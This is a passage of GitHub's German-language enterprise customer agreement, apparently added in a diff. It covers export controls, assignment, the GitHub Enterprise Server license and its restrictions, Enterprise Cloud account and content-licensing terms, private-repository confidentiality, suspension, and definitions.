+Die Produkte wurden ausschließlich mit privaten Mitteln entwickelt und gelten nach Federal Acquisition Regulation 12.212 und 27.405-3 und Defense Federal Acquisition Regulation Supplement 227.7202-3 als gewerbliche Computersoftware („Commercial Computer Software“) und Dokumentation für gewerbliche Computersoftware („Commercial Computer Software Documentation“). Die Produkte werden als beschränkte Computersoftware und Daten mit beschränkten Rechten für die Endbenutzer der US-Behörden lizenziert. Im Rahmen dieser Vereinbarung werden keine technischen Daten und Computersoftware entwickelt. Für die Verwendung, Offenlegung, Änderung, Verbreitung oder Vervielfältigung der Produkte oder der Dokumentation durch die US-Behörden oder ihre Auftragnehmer gelten die in dieser Vereinbarung festgelegten Beschränkungen. Jede andere Verwendung ist untersagt.
+
+#### 1.13.3 Export.
+
+Für die Produkte gelten Ausfuhrbeschränkungen der USA und Einfuhrbeschränkungen bestimmter anderer Länder, und der Kunde hält bei der Nutzung der Produkte alle anwendbaren Gesetze und -regelungen zu Ausfuhr und Einfuhr ein. Der Kunde darf keine Teile der Produkte oder direkte Ergebnisse davon aus den USA an folgende Ziele entfernen oder ausführen oder eine entsprechende Ausfuhr oder Wiederausfuhr gestatten und Entsprechendes auch keinem Dritten gestatten: (i) in Länder, die einem Embargo unterliegen oder Terrorismus fördern (oder an Staatsbürger oder Einwohner solcher Länder), (ii) an Personen, die in der „Table of Denial Orders“ des US-Wirtschaftsministeriums oder auf der „Specially Designated Nationals List“ des US-Finanzministeriums geführt werden, (iii) in Länder, in die eine entsprechende Ausfuhr oder Wiederausfuhr beschränkt oder verboten ist oder für die die USA oder ihre Behörden zum Zeitpunkt der Ausfuhr oder Wiederausfuhr eine Ausfuhrgenehmigung oder eine andere behördliche Genehmigung verlangen, ohne dass vorher eine entsprechende Genehmigung erteilt wurde, oder (iv) an Ziele, bei denen die Ausfuhr oder Wiederausfuhr oder Einfuhr einen anderweitigen Verstoß gegen Ausfuhr- oder Einfuhrbeschränkungen, -gesetze oder -regelungen von Behörden der USA oder eines anderen Landes darstellt. Der Kunde sichert zu und garantiert, dass er (a) sich nicht in einem entsprechenden verbotenen Land befindet oder durch einen Staatsbürger oder Einwohner eines entsprechenden verbotenen Landes oder eine auf einer Liste verbotener Personen geführten Person kontrolliert wird und (b) die Daten des Kunden nicht den International Traffic in Arms Regulations der USA unterliegen. Der Kunde erkennt an und akzeptiert, dass die Produkte ohne vorhergehende erforderliche Genehmigung durch die US-Behörden nicht für die Konzeption oder Entwicklung atomarer, chemischer oder biologischer Waffen oder Trägertechnologien verwendet werden dürfen.
+
+#### 1.13.4 Keine ungenehmigte Werbung.
+
+GitHub kann den Kunden gegenüber Bestandskunden und Interessenten als Kunden nennen. Ohne Genehmigung durch den Kunden darf GitHub den Namen oder das Logo des Kunden jedoch nicht in Werbe- oder Marketingmaterialien verwenden.
+
+#### 1.13.5 Abtretung
+
+Keine Partei darf diese Vereinbarung ganz oder teilweise ohne die vorherige schriftliche Zustimmung der anderen Partei abtreten oder anderweitig übertragen, wobei diese Zustimmung nicht unangemessen verweigert werden darf, und jeder Versuch, dies zu tun, ist null und nichtig, mit der Ausnahme, dass GitHub diese Vereinbarung in ihrer Gesamtheit nach Mitteilung an die andere Partei, aber ohne Zustimmung der anderen Partei, im Zusammenhang mit einer Fusion, einem Erwerb, einer Unternehmensumstrukturierung oder einem Verkauf aller oder im Wesentlichen aller Geschäfte oder Vermögenswerte der übertragenden Partei abtreten darf.
+
+#### 1.13.6. Benachrichtigungen.
+
+Sofern in dieser Vereinbarung nicht anders festgelegt, müssen alle Mitteilungen, Anfragen und Aufforderungen und sämtliche sonstige Kommunikation im Zusammenhang mit dieser Vereinbarung schriftlich erfolgen (wobei E-Mails akzeptabel sind) und auf diese Vereinbarung verweisen. Sie gelten als ordnungsgemäß zugestellt: (i) bei persönlicher Zustellung mit Empfang, (ii) bei E-Mails einen (1) Werktag nach der Empfangsbestätigung durch den vorgesehenen Empfänger, (iii) bei Einschreiben mit schriftlicher Empfangsbestätigung und E-Mail fünf (5) Werktage nach dem Versand oder (iv) bei Übergabe an einen international anerkannten Kurierdienst mit schriftlicher Empfangsbestätigung und E-Mail drei (3) Werktage nach Übergabe an den Kurierdienst. Sofern eine Partei der anderen keine Adressänderung mitteilt, können Mitteilungen an die in dieser Vereinbarung angegebenen Adressen gesendet werden.
+
+#### 1.13.7 Höhere Gewalt.
+
+GitHub wird von der Haftung befreit, soweit es aus außergewöhnlichen Gründen, die sich seiner angemessenen Kontrolle entziehen, einschließlich höherer Gewalt, Naturkatastrophen, Streiks, Aussperrungen, Unruhen, Kriegshandlungen, Epidemien oder Strom-, Telekommunikations- oder Netzwerkausfällen.
+
+#### 1.13.8 Unabhängige Vertragspartner.
+
+Jede Partei ist in Bezug auf den Gegenstand dieser Vereinbarung ein unabhängiger Vertragspartner. Nichts in dieser Vereinbarung wird in irgendeiner Weise so ausgelegt oder ausgelegt, dass es eine rechtliche Vereinigung, Partnerschaft, ein Joint Venture, ein Beschäftigungs-, Vertretungs-, Treuhand- oder ein anderes ähnliches Verhältnis zwischen den Parteien begründet, und keine der Parteien kann die andere vertraglich binden.
+
+#### 1.13.9 Verzicht.
+
+Auf die Verpflichtungen einer Partei aus diesem Vertrag kann nur in schriftlicher Form verzichtet werden, die von einem bevollmächtigten Vertreter der anderen Partei unterzeichnet wurde. Ein Versäumnis oder eine Verspätung durch eine Partei dieser Vereinbarung bei der Ausübung eines Rechts aus dieser Vereinbarung gilt weder als Verzicht darauf, noch schließt eine einzelne oder teilweise Ausübung davon eine andere oder weitere Ausübung davon oder die Ausübung eines Rechts aus dieser Vereinbarung nach Gesetz oder Billigkeit aus.
+
+#### 1.13.10 Gesamter Vertrag.
+
+Diese Vereinbarung stellt zusammen mit den Anhängen und den einzelnen Bestellformularen und Leistungsbeschreibungen den gesamten Vertrag zwischen den Parteien zum Vertragsgegenstand dar und hat Vorrang vor allen vorhergehenden oder gleichzeitigen mündlichen und schriftlichen Abreden und Vereinbarungen der Parteien in Bezug auf einen solchen Vertragsgegenstand. Bestimmungen in Bestellungen des Kunden, schriftliche Bestimmungen oder Bedingungen oder sonstige Dokumente, die der Kunde GitHub übermittelt und die Bestimmungen enthalten, die von den Bestimmungen dieser Vereinbarung, eines Bestellformulars oder einer Leistungsbeschreibung abweichen oder über sie hinausgehen, sind ungültig und unwirksam.
+
+#### 1.13.11 Zusatzvereinbarungen, Vorrang.
+
+GitHub behält sich das Recht vor, diese Vereinbarung nach eigenem Ermessen jederzeit zu ändern, und wird diese Vereinbarung im Falle solcher Änderungen aktualisieren. GitHub benachrichtigt den Kunden mindestens 30 Tage vor dem Inkrafttreten der Änderung über wesentliche Änderungen an dieser Vereinbarung, indem es im Dienst eine Mitteilung veröffentlicht oder eine E-Mail an die primäre E-Mail-Adresse sendet, die in Ihrem GitHub Konto angegeben ist. Die fortgesetzte Nutzung des Dienstes durch den Kunden nach diesen 30 Tagen stellt eine Zustimmung zu diesen Änderungen an dieser Vereinbarung dar. Bei allen anderen Änderungen gilt die fortgesetzte Nutzung des Dienstes durch den Kunden als Zustimmung zu unseren Änderungen dieser Vereinbarung. Der Kunde kann alle Änderungen an dieser Vereinbarung in unserem Repository für die [Website-Richtlinie](https://github.com/github/site-policy) einsehen. Im Falle eines Konflikts zwischen den Bedingungen dieser Vereinbarung und einem Bestellformular oder einer Leistungsbeschreibung haben die Bedingungen des Bestellformulars oder SOW nur in Bezug auf dieses Bestellformular bzw. die Leistungsbeschreibung Vorrang.
+
+#### 1.13.12 Salvatorische Klausel.
+
+Wenn eine Bestimmung dieser Vereinbarung von einem zuständigen Gericht als rechtswidrig, ungültig oder nicht durchsetzbar erachtet wird, ändern oder reformieren die Parteien diese Vereinbarung, um dieser Bestimmung so viel Wirkung wie möglich zu verleihen. Jede Bestimmung, die auf diese Weise nicht geändert oder reformiert werden kann, gilt als gelöscht und die verbleibenden Bestimmungen dieser Vereinbarung bleiben in vollem Umfang in Kraft und wirksam.
+
+
+## ABSCHNITT 2: LIZENZBEDINGUNGEN FÜR GITHUB ENTERPRISE SERVER
+
+Dieser Abschnitt 2 enthält die anwendbaren Bestimmungen für die Nutzung der Software durch den Kunden.
+
+### 2.1 Lizenzgewährung.
+
+GitHub gewährt dem Kunden eine nicht ausschließliche, nicht übertragbare, weltweite, unentgeltliche, zeitlich beschränkte Lizenz zur dokumentationskonformen Installation und Nutzung der Software zu internen Geschäftszwecken des Kunden für den Zeitraum der entsprechenden Abonnementlaufzeit und ausschließlich für die Anzahl von Abonnementlizenzen, die im Bestellformular des Kunden angegeben ist. Die Software umfasst Komponenten, für die Dritte GitHub eine Lizenz gewähren. Dazu zählt auch Software, deren Lizenzen erfordern, dass GitHub den Quellcode der entsprechenden Komponenten verfügbar macht. Der Quellcode solcher Komponenten wird auf Anfrage bereitgestellt. Unbeschadet des Vorstehenden gestattet diese Lizenz dem Kunden das Herunterladen und Ausführen von Microsoft SQL Server Standard Edition-Containerimages für Linux-Dateien („**SQL Server-Images**“), die nur wie dokumentiert mit der Software verwendet werden dürfen. Das Recht des Kunden, die SQL Server-Images zu verwenden, endet, wenn er nicht mehr über die Rechte zur Nutzung der Software verfügt, und der Kunde muss die SQL Server-Images deinstallieren, wenn sein Nutzungsrecht endet. Die Microsoft Corporation kann SQL Server Images jederzeit deaktivieren.
+
+### 2.2 Lizenzbeschränkungen.
+
+Sofern gesetzlich oder durch entsprechende Lizenzen von Dritten nicht ausdrücklich gestattet, dürfen der Kunde und seine verbundenen Unternehmen Folgendes weder selbst vornehmen noch durch Dritte vornehmen lassen: (i) Unterlizenzieren, Verkaufen, Vermieten, Verleasen, Übertragen, Abtreten oder Weiterverbreiten der Software, (ii) Hosten der Software zugunsten Dritter, (iii) Offenlegen der Software oder Gewähren von Zugriff auf die Software für Dritte mit Ausnahme der nach diesem Abschnitt 2 ausdrücklich zulässigen Fälle, (iv) Hacken oder Ändern des Lizenzschlüssels oder Umgehen oder Ändern des Lizenzregistrierungsvorgangs, (v) mit Ausnahme von Kundenänderungen Ändern oder Entwickeln abgeleiteter Werke der Software oder Zusammenführen der Software mit anderer Software, (vi) teilweises oder vollständiges Disassemblieren, Dekompilieren, Umgehen von Codeobfuskation, Zurückentwickeln (Reverse Engineering) der Software oder Versuche zur Ableitung von Quellcode, (vii) Ändern, Verunklaren oder Löschen von Hinweisen auf Schutzrechte in der Software oder der Dokumentation oder (viii) anderweitige Verwendung oder Vervielfältigung der Software oder der Dokumentation, die gemäß dieser Vereinbarung nicht ausdrücklich gestattet ist.
+
+### 2.3 Bereitstellung.
+
+GitHub stellt dem Kunden den Lizenzschlüssel auf einer sicheren, kennwortgeschützten Website zum Herunterladen zur Verfügung. Jede Bereitstellung nach diesem Abschnitt 2 erfolgt in elektronischer Form. Um Zweifel auszuschließen, wird ausdrücklich darauf hingewiesen, dass der Kunde für die Installation jeglicher Software verantwortlich ist und anerkennt, dass GitHub nach der Bereitstellung des Lizenzschlüssels keine weiteren Bereitstellungsverpflichtungen im Zusammenhang mit der Software hat. GitHub stellt verfügbare Updates auf derselben Website zum Herunterladen bereit. Der Kunde muss die Software in gewerblich angemessenen Abständen aktualisieren, mindestens jedoch einmal (1-mal) pro Jahr. Der Kunde trägt die Verantwortung für die Wahrung der Vertraulichkeit der Benutzernamen und Kennwörter des Kunden.
+
+### 2.4. Überprüfung.
+
+Der Kunde stellt GitHub auf Anfrage umgehend einen per Software generierten Bericht bereit, aus dem hervorgeht, dass der Kunde die Software nach dieser Vereinbarung nutzt. GitHub stellt dem Kunden jede zusätzliche Nutzung mit Wirksamkeit ab dem Datum in Rechnung, an dem die Nutzung erstmals über die Bestimmungen dieser Vereinbarung hinaus erfolgte.
+
+### 2.5 Updates, Releases.
+
+#### 2.5.1 Allgemeines.
+
+GitHub stellt dem Kunden Updates und Releases der Software auf derselben sicheren Website bereit, über die der Kunde die Software und den Lizenzschlüssel heruntergeladen hat.
+
+#### 2.5.2 Unterstützte Releases.
+
+GitHub leistet für ein bestimmtes Release nur für ein (1) Jahr ab dem ursprünglichen Veröffentlichungsdatum oder sechs (6) Monate ab dem letzten Update des Releases Support, je nachdem, welcher Zeitraum länger ist. Benötigt der Kunde Support für ältere Releases der Software, muss er diesen Support nach den Bestimmungen eines einvernehmlich vereinbarten Bestellformulars bzw. einer einvernehmlich vereinbarten Leistungsbeschreibung bezahlen.
+
+### 2.6 Datenschutzrechtliche Aspekte bei der Nutzung von GitHub Insights and Learning Lab for Enterprise Server.
+
+Wenn die geplante Nutzung von GitHub Insights oder Learning Lab for Enterprise Server durch den Kunden die Verarbeitung personenbezogener Daten beinhaltet, ist der Kunde allein dafür verantwortlich, zu entscheiden, ob er eine Analyse der Auswirkungen auf den Datenschutz durchführt oder anderweitig eine formale rechtliche Analyse der geplanten Nutzung vornimmt. Es liegt im alleinigen Ermessen des Kunden, ob er GitHub Insights oder Learning Lab for Enterprise Server zur Verarbeitung der Daten seiner Mitarbeiter und/oder Benutzer verwendet, und der Kunde ist allein dafür verantwortlich, diese Verarbeitung in Übereinstimmung mit dem anwendbaren Recht durchzuführen.
+
+
+### ABSCHNITT 3: VERTRAGSBEDINGUNGEN FÜR GITHUB ENTERPRISE CLOUD
+
+Mit der Erstellung eines Unternehmenskontos und/oder einer Organisation im Dienst durch den Kunden oder durch GitHub im Namen des Kunden gelten die in diesem Abschnitt 3 enthaltenen Bestimmungen für die Nutzung des Diensts durch den Kunden.
+
+### 3.1 Kontobestimmungen.
+
+#### 3.1.1 Kontrolle über Konten.
+
+**(i) Benutzer.** Der Kunde erkennt an, dass die Nutzer die endgültige administrative Kontrolle über ihre individuellen Konten und die darin enthaltenen Inhalte behalten. Mit Ausnahme der Aktivitäten von Benutzern gemäß diesem Abschnitt 3 regeln die [Standardvertragsbedingungen von GitHub](/github/site-policy/github-terms-of-service) die Nutzung des Diensts durch Benutzer.
+
+**(ii) Organisationen.** Vorbehaltlich dieses Abschnitts 3 behält der Kunde die endgültige administrative Kontrolle über alle in seinem Namen erstellten Organisationen und benutzergenerierten Inhalte, die in den Repositorys innerhalb seiner Organisation(en) veröffentlicht werden. Dieser Abschnitt 3 regelt die Nutzung der Organisation(en) des Kunden.
+
+#### 3.1.2 Anforderungen für Konten.
+
+Um ein Konto zu erstellen, muss der Kunde Folgendes beachten:
+
+**(i)** Der Kunde darf kein Konto zur Nutzung durch Personen unter 13 Jahren erstellen. Wenn GitHub von einem Nutzer unter 13 Jahren erfährt, wird es das Konto dieses Nutzers unverzüglich kündigen. Wenn sich der Kunde oder seine Nutzer in einem Land außerhalb der Vereinigten Staaten befinden, kann das Mindestalter dieses Landes höher sein; in einem solchen Fall ist der Kunde für die Einhaltung der Gesetze dieses Landes verantwortlich.
+
+**(ii)** Die Anmeldeinformationen eines Benutzers dürfen nicht von mehreren Personen verwendet werden.
+
+**(iii)** Der Kunde darf den Dienst in folgenden Fällen nicht verwenden: (a) unter Verstoß gegen Exportkontroll- oder Sanktionsgesetze der USA oder eines anderen zuständigen Gerichtsstands, (b) wenn er sich in einem Land oder Gebiet befindet oder seinen gewöhnlichen Aufenthalt in einem Land oder Gebiet hat, das umfassenden Sanktionen des US Office of Foreign Assets Control (OFAC) unterliegt, oder (c) wenn er im Auftrag eines [Specially Designated National (SDN)](https://www.treasury.gov/resource-center/sanctions/SDN-List/Pages/default.aspx) oder einer Person arbeitet, die ähnlichen Sperr- oder Denied-Party-Verboten unterliegt. Weitere Informationen finden Sie in der [GitHub-Exportkontrollrichtlinie](/articles/github-and-export-controls).
+
+#### 3.1.3 Kontosicherheit.
+
+Der Kunde trägt die Verantwortung für: (i) alle veröffentlichten Inhalte und Aktivitäten unter seinem Unternehmenskonto, (ii) die Aufrechterhaltung der Sicherheit seiner Kontoanmeldeinformationen und (iii) die unverzügliche [Benachrichtigung von GitHub](https://support.github.com/contact?tags=docs-policy), wenn er Kenntnis von einer unbefugten Nutzung oder einem unbefugten Zugriff auf den Dienst über sein Konto erlangt.  GitHub haftet nicht für Verluste oder Schäden, die durch die Nichteinhaltung dieses Abschnitts 3.1.3 durch den Kunden entstehen.
+
+#### 3.1.4 Zusätzliche Bestimmungen.
+
+In bestimmten Fällen können für die Nutzung des Diensts durch den Kunden Bestimmungen Dritter gelten. Beispielsweise kann der Kunde Mitglied einer Organisation mit eigenen Bedingungen oder Lizenzvereinbarungen sein, der Kunde kann eine Anwendung herunterladen, die sich in den Dienst integriert, oder der Kunde kann den Dienst verwenden, um sich bei einem anderen Dienst zu authentifizieren. Während diese Vereinbarung die gesamte Vereinbarung zwischen GitHub und dem Kunden darstellt, werden die Beziehungen anderer Parteien mit dem Kunden durch deren Bestimmungen geregelt.
+
+#### 3.1.5. Bestimmungen für US-Bundesbehörden.
+
+Wenn der Kunde eine US-Bundesbehörde ist oder auf andere Weise in der Funktion einer Verwaltungseinrichtung auf den Dienst zugreift oder diesen nutzt, gilt die [Zusatzvereinbarung für die US-Bundesregierung](/articles/amendment-to-github-terms-of-service-applicable-to-us-federal-government-users), und der Kunde stimmt ihren Bestimmungen zu.
+
+### 3.2 Einhaltung von Gesetzen, angemessene Nutzung, Datenschutz.
+
+#### 3.2.1. Einhaltung von Gesetzen und Regelungen.
+Die Nutzung des Diensts durch den Kunden darf nicht gegen geltende Gesetze verstoßen, einschließlich Urheber- oder Markengesetze, Exportkontrollgesetze oder Regelungen in seinem Gerichtsstand.
+
+#### 3.2.2 Angemessene Nutzung.
+Die Nutzung des Dienstes durch den Kunden muss den [Richtlinien zur akzeptablen Nutzung von GitHub](/articles/github-acceptable-use-policies) sowie den [Community-Richtlinien von GitHub](/articles/github-community-guidelines) entsprechen. Der Kunde darf den Dienst in keiner Rechtsordnung für rechtswidrige, obszöne, anstößige oder betrügerische Inhalte oder Aktivitäten nutzen, beispielsweise um Schäden zu befürworten oder zu verursachen, die Integrität oder Sicherheit eines Netzwerks oder Systems zu stören oder zu verletzen, Filter zu umgehen, unerwünschte, missbräuchliche oder irreführende Nachrichten, Viren oder schädlichen Code zu senden oder die Rechte Dritter zu verletzen.
+
+#### 3.2.3 Datenschutz.
+Die [GitHub-Datenschutzerklärung](/articles/github-privacy-statement) und der [Nachtrag zum Datenschutz bei GitHub](/github/site-policy/github-data-protection-addendum) enthalten ausführliche Hinweise zu den Datenschutz- und Datennutzungspraktiken von GitHub sowie zu den Verarbeitungs- und Sicherheitsverpflichtungen von GitHub in Bezug auf personenbezogene Kundendaten. Jede natürliche oder juristische Person oder jeder Dienst, die bzw. der Daten aus dem Dienst sammelt, muss die [GitHub-Datenschutzerklärung](/articles/github-privacy-statement) einhalten, insbesondere in Bezug auf die Sammlung personenbezogener Daten von Benutzern (wie in der GitHub-Datenschutzerklärung definiert). Wenn der Kunde Personenbezogene Nutzerdaten über GitHub erhebt, verwendet der Kunde diese nur für den Zweck, für den der Externe Nutzer sie autorisiert hat. Der Kunde sichert solche Personenbezogenen Daten angemessen und reagiert unverzüglich auf Beschwerden, Entfernungsanfragen und „Nicht-Kontaktieren“-Anfragen von GitHub oder Externen Nutzern.
+
+### 3.3 Verantwortung für Inhalte, Eigentumsrechte, Lizenzrechte.
+
+#### 3.3.1. Verantwortung für benutzergenerierte Inhalte.
+Der Kunde kann Nutzergenerierte Inhalte erstellen oder hochladen, während er den Dienst nutzt. Der Kunde trägt die alleinige Verantwortung für alle benutzergenerierten Inhalte, die er veröffentlicht, hochlädt, verlinkt oder anderweitig über den Dienst verfügbar macht, unabhängig von der Form dieser benutzergenerierten Inhalte. GitHub ist nicht verantwortlich für die öffentliche Anzeige oder den Missbrauch von Nutzergenerierten Inhalten.
+
+#### 3.3.2. Eigentum an Inhalten, Recht zur Veröffentlichung und Lizenzgewährung.
+
+**(i)** Der Kunde behält das Eigentum an Kundeninhalten, die er erstellt oder besitzt. Der Kunde erkennt an, dass er: (a) für Kundeninhalte verantwortlich ist, (b) nur Kundeninhalte übermittelt, zu deren Veröffentlichung der Kunde berechtigt ist (einschließlich Inhalten von Drittanbietern oder Nutzergenerierten Inhalten), und (c) alle diesbezüglichen Lizenzen von Drittanbietern in Bezug auf Kundeninhalte, die der Kunde postet, uneingeschränkt einhält.
+
+**(ii)** Der Kunde gewährt die in den Abschnitten 3.3.3 bis 3.3.6 dargelegten Rechte kostenlos und für die in diesen Abschnitten angegebenen Zwecke, bis der Kunde Kundeninhalte von GitHub-Servern entfernt, mit Ausnahme von Inhalten, die der Kunde öffentlich gepostet hat und die externe Benutzer geforkt haben, wobei die Lizenz in diesem Fall unbefristet ist, bis alle Forks von Kundeninhalten von den GitHub-Servern entfernt wurden. Wenn der Kunde Kundeninhalte hochlädt, die bereits mit einer Lizenz bereitgestellt werden, die GitHub die erforderlichen Berechtigungen zum Ausführen des Dienstes erteilt, ist keine zusätzliche Lizenz erforderlich.
+
+#### 3.3.3 Lizenzgewährung an GitHub.
+Der Kunde gewährt GitHub das Recht, Kundeninhalte zu speichern, zu analysieren und anzuzeigen und gelegentlich Kopien zu erstellen, insoweit dies zur Bereitstellung des Diensts erforderlich ist. Dies beinhaltet das Recht, Kundeninhalte in die Datenbank von GitHub zu kopieren und Sicherungskopien zu erstellen, Kundeninhalte für den Kunden und diejenigen anzuzeigen, denen der Kunde sie zeigt, Kundeninhalte in einen Suchindex zu zerlegen oder anderweitig auf den Servern von GitHub zu analysieren, Kundeninhalte mit externen Benutzern zu teilen, mit denen der Kunde sie teilen möchte, und Kundeninhalte auszuführen, falls es sich beispielsweise um Musik oder Videos handelt. Diese Rechte gelten sowohl für öffentliche als auch für Private Repositories. Diese Lizenz gewährt GitHub nicht das Recht, Kundeninhalte zu verkaufen oder auf andere Weise zu verbreiten oder außerhalb des Diensts zu verwenden. Der Kunde gewährt GitHub die Rechte, die er benötigt, um Kundeninhalte ohne Namensnennung zu verwenden und angemessene Anpassungen an den Kundeninhalten vorzunehmen, soweit dies für die Bereitstellung des Dienstes erforderlich ist.
+
+#### 3.3.4. Lizenzgewährung an externe Benutzer.
+**(i)** Alle Inhalte, die der Kunde öffentlich postet, einschließlich Issues, Kommentaren und Beiträgen zu den Repositorys externer Benutzer, können von anderen eingesehen werden. Indem der Kunde festlegt, dass seine Repositories öffentlich einsehbar sind, willigt er ein, dass Externe Nutzer die Repositories des Kunden einsehen und Forken können.
+
+**(ii)** Wenn der Kunde seine Seiten und Repositorys als öffentlich einsehbar einstellt, gewährt der Kunde externen Benutzern in dem Umfang, den die von GitHub bereitgestellten Funktionen zulassen (z. B. durch Forken), eine nicht ausschließliche, weltweite Lizenz zur Nutzung, Anzeige und Ausführung von Kundeninhalten über den Dienst und zur Vervielfältigung von Kundeninhalten ausschließlich im Dienst. Der Kunde kann weitere Rechte an Kundeninhalten gewähren, wenn er [eine Lizenz einführt](/articles/adding-a-license-to-a-repository/#including-an-open-source-license-in-your-repository). Wenn der Kunde Kundeninhalte hochlädt, die er nicht erstellt hat oder nicht besitzt, muss er sicherstellen, dass die von ihm hochgeladenen Kundeninhalte unter Bestimmungen lizenziert sind, die diese Berechtigungen für externe Benutzer gewähren.
+
+#### 3.3.5. Beiträge unter Repository-Lizenz.
+Leistet der Kunde Beiträge zu einem Repository mit einem Lizenzhinweis, lizenziert der Kunde seine Beiträge zu denselben Bestimmungen und stimmt zu, dass er das Recht hat, den entsprechenden Beitrag gemäß diesen Bestimmungen zu lizenzieren. Verfügt der Kunde über eine gesonderte Vereinbarung zur Lizenzierung seiner Beiträge, für die andere Bestimmungen gelten (z. B. eine Lizenzvereinbarung für Beitragende), hat die entsprechende Vereinbarung Vorrang.
+
+#### 3.3.6 Urheberpersönlichkeitsrechte.
+Der Kunde behält alle Urheberpersönlichkeitsrechte an Kundeninhalten, die er in irgendeinem Teil des Dienstes hochlädt, veröffentlicht oder dorthin übermittelt, einschließlich der Rechte auf Integrität und Namensnennung. Der Kunde verzichtet jedoch auf diese Rechte und stimmt zu, diese gegenüber GitHub nicht geltend zu machen, um GitHub die angemessene Ausübung der Rechte nach Abschnitt 3.3 zu ermöglichen, wobei dies jedoch ausschließlich zu diesem Zweck gilt.
+
+### 3.4. 2\.4 Private Repositorys.
+
+#### 3.4.1 Kontrolle.
+Der Kunde ist für die Verwaltung des Zugriffs auf seine privaten Repositorys verantwortlich, einschließlich Einladungen, administrativer Kontrolle von Organisationen und Teams sowie Beendigung des Zugriffs.
+
+#### 3.4.2 Vertraulichkeit.
+GitHub betrachtet Kundeninhalte in den Privaten Repositories des Kunden als Vertrauliche Informationen des Kunden. GitHub wird die Kundeninhalte privater Repositorys gemäß Abschnitt 1.4 schützen und streng vertraulich behandeln.
+
+#### 3.4.3 Zugriff.
+GitHub-Mitarbeiter dürfen nur in den in unserer [Datenschutzerklärung](/github/site-policy/github-privacy-statement#repository-contents) beschriebenen Situationen auf private Repositorys des Kunden zugreifen.
+
+Der Kunde kann entscheiden, zusätzlichen Zugriff auf seine Privaten Repositories zu ermöglichen. Beispielsweise kann der Kunde verschiedene GitHub Dienste oder Funktionen aktivieren, die zusätzliche Rechte an Kundeninhalten in Privaten Repositories erfordern. Diese Rechte können je nach Dienst oder Funktion variieren, aber GitHub wird Kundeninhalte in Privaten Repositories des Kunden weiterhin als Vertrauliche Informationen des Kunden behandeln. Wenn diese Dienste oder Funktionen zusätzlich zu den für die Bereitstellung des Dienstes nötigen Rechten weitere Rechte erfordern, wird GitHub eine Erläuterung dieser Rechte bereitstellen.
+
+Darüber hinaus können wir [gesetzlich dazu verpflichtet sein](/github/site-policy/github-privacy-statement#for-legal-disclosure), den Inhalt Ihrer privaten Repositories offenzulegen.
+
+GitHub informiert über unseren Zugriff auf private Repository-Inhalte, es sei denn es geht um [rechtliche Offenlegung](/github/site-policy/github-privacy-statement#for-legal-disclosure), um unseren gesetzlichen Verpflichtungen nachzukommen, oder wenn anderweitig gesetzlich vorgeschrieben, für automatisiertes Scannen oder als Reaktion auf eine Sicherheitsbedrohung oder ein anderes Sicherheitsrisiko.
+
+### 3.5. Hinweise zu geistigem Eigentum.
+
+#### 3.5.1. Rechte von GitHub an Inhalten.
+Das Erscheinungsbild des Dienstes ist urheberrechtlich geschützt: © GitHub, Inc. Alle Rechte vorbehalten. Der Kunde darf ohne ausdrückliche schriftliche Genehmigung von GitHub keinen Teil der HTML/CSS-, Javascript- oder visuellen Designelemente oder -konzepte duplizieren, kopieren oder wiederverwenden.
+
+#### 3.5.2 Urheberrechtsverletzungen und DMCA-Richtlinie.
+
+Wenn der Kunde ein Urheberrechtsinhaber ist und glaubt, dass Inhalte im Dienst sein Urheberrecht verletzen, kann er GitHub nach der [Richtlinie zum Digital Millennium Copyright Act](https://github.com/contact/dmca) über das [DMCA-Formular](https://github.com/contact/dmca-notice) oder per E-Mail an copyright@github.com benachrichtigen.
+
+#### 3.5.3. Marken und Logos von GitHub.
+
+Wenn der Kunde die Marken von GitHub verwenden möchte, muss er alle Markenrichtlinien von GitHub befolgen, einschließlich der Richtlinien auf der [Seite zu GitHub-Logos und ihrer Nutzung](https://github.com/logos).
+
+### 3.6 Aussetzung.
+GitHub hat das Recht, den Zugriff auf den Dienst einschließlich der Entfernung von Inhalten bei Verstoß gegen diese Vereinbarung oder zum Schutz der Integrität, Betriebsfähigkeit und Sicherheit des Diensts mit vorheriger Mitteilung und sofortiger Wirkung jederzeit teilweise oder vollständig auszusetzen, es sei denn, eine entsprechende Mitteilung ist gesetzlich oder gerichtlich verboten oder erschwert die Verhinderung drohender Schäden für den Dienst oder Dritte. GitHub informiert in der Regel im Voraus oder zum Zeitpunkt der Aussetzung mit einem Banner oder per E-Mail über die Aussetzung. GitHub wird nach eigenem Ermessen und in gutem Glauben jede Aussetzung nach Bedarf anpassen, um die Integrität, Funktionsfähigkeit und Sicherheit des Dienstes zu wahren.
+
+### 3.7 Vereinbarung zum Servicelevel.
+
+Die vierteljährliche Uptimezusage von GitHub für den Dienst finden Sie in der [Enterprise-Vereinbarung zum Servicelevel](/github/site-policy/github-enterprise-service-level-agreement). Der Kunde hat Anspruch auf eine Servicegutschrift, wenn GitHub das Servicelevel nicht erfüllt.
+
+### 3.8 Dienständerungen.
+GitHub ändert den Dienst durch Updates und Hinzufügen neuer Funktionen. GitHub behält sich vorbehaltlich Abschnitt 3.7 das Recht vor, den Dienst jederzeit mit oder ohne Ankündigung vorübergehend oder dauerhaft teilweise oder vollständig zu ändern oder einzustellen.
+
+### 3.9 Zusätzliche Dienstfunktionen.
+
+Einige Funktionen des Dienstes können zusätzlichen Bestimmungen unterliegen, wie in den [Zusätzlichen Produktbestimmungen von GitHub](/github/site-policy/github-additional-product-terms) dargelegt. Durch den Zugriff auf oder die Nutzung dieser Funktionen stimmt der Kunde den Zusätzlichen Produktbestimmungen von GitHub zu.
+
+## ANHANG A: DEFINITIONEN
+
+**„Aktiver Benutzer“** bezeichnet einen Benutzer, der versucht, während eines Ausfalls auf den Dienst zuzugreifen.
+
+**„Add-On Software“** bezeichnet Advanced Security, Insights, Learning Lab for Enterprise Server und andere zusätzliche Software-Add-On-Produkte, die GitHub von Zeit zu Zeit anbieten kann.
+
+„**Advanced Security**“ bezeichnet das Softwarefeature, das es dem Kunden ermöglicht, Sicherheitslücken durch anpassbare und automatisierte semantische Codeanalyse zu identifizieren.
+
+**„Verbundenes Unternehmen“** bezeichnet jede juristische Person, die direkt oder indirekt eine Partei kontrolliert, von ihr kontrolliert wird oder mit ihr unter gemeinsamer Kontrolle steht, wobei „Kontrolle“ mehr als fünfzig Prozent (50 %) des Eigentums bedeutet oder das Recht, der Geschäftsführung der juristischen Person Weisungen zu erteilen.
+
+**„Alle Nutzer“** bezeichnet zusammenfassend Nutzer des Kunden und externe Nutzer, die den Dienst nutzen.
+
